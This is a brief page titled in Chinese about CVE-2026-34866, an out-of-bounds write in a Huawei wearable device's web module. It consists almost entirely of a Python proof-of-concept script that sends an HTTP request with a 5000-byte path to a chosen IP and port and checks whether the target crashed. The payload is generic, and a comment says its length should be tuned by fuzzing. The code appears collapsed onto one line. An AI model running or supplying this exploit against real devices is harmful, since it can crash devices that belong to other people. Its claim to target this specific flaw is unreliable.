CVE-2026-34866 华为可穿戴设备WEB模块越界写入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-34866 (Out-of-bounds write in Huawei Wearable Web Module) import socket import sys def trigger_vulnerability(target_ip, target_port): """ Sends a crafted payload to the web module to trigger the out-of-bounds write. """ try: # Establish connection to the target web service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Crafted payload designed to exceed buffer boundaries in the web module # Adjust the payload length based on specific fuzzing results payload = b"GET /" + b"A" * 5000 + b" HTTP/1.1\r\n" payload += b"Host: " + target_ip.encode() + b"\r\n" payload += b"User-Agent: PoC-CVE-2026-34866\r\n\r\n" print(f"[+] Sending payload to {target_ip}:{target_port}...") s.send(payload) # Receive response (or lack thereof indicating a crash) response = s.recv(1024) if not response: print("[+] Target may have crashed (Availability Impact).") else: print("[*] Target responded. Check logs for memory corruption.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <IP> <PORT>") sys.exit(1) trigger_vulnerability(sys.argv[1], int(sys.argv[2]))